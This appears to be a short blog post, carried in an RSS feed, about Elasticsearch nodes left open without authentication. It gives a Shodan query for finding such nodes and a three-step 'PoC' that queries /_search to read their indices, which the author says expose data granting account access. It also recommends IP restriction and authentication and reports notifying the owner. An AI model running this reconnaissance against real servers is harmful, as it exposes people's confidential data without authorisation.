            <content:encoded><![CDATA[<p>Today, several administrators use elastic as a real-time data search and analysis tool. But, they forget to secure these node ...</p><p>With a simple search on <strong>shodan</strong>, we can find the Elastic indices :</p><p><a href="https://www.shodan.io/search?query=port:&quot;9200&quot;%20product:&quot;Elastic&quot;"><strong>https://www.shodan.io/search?query=port:&quot;9200&quot; product:”Elastic”</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*sT6p1az6Yx0cmmj8eywStw.png" /></figure><p>Information can be accessed through these addresses (We can found some <strong>confidentiel information</strong>) :</p><p><a href="http://ip:9200/_search?pretty"><strong>http://@IP:9200/_search?pretty</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*3aGzEETjZbhTTjABlgr5hQ.png" /></figure><p>Here are some recommendations for securing your nodes :</p><ul><li>Only allow direct access to known IP addresses</li><li>Add Authentication to Elastic Node</li></ul><h3>PoC</h3><ol><li>Use this filter on shodan to search elastic node : <strong>port:”9200&quot; product:”Elastic”</strong></li><li>Check Elastic connection : <a href="http://ip:9200/"><strong>http://@IP:9200</strong></a></li><li>Executing Search : <a href="http://ip:9200/_search?pretty"><strong>http://@IP:9200/_search?pretty</strong></a></li></ol><p>This Node disclose some confidentiel information, we can use it to access to all accounts …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uNrmzT0FvGv54rFLu5cPPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WAKpb9XLxPFJuF7WXgUQ9Q.png" /></figure><h3>I contacted the concerned to secure this node !</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=11a0be75ec06" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>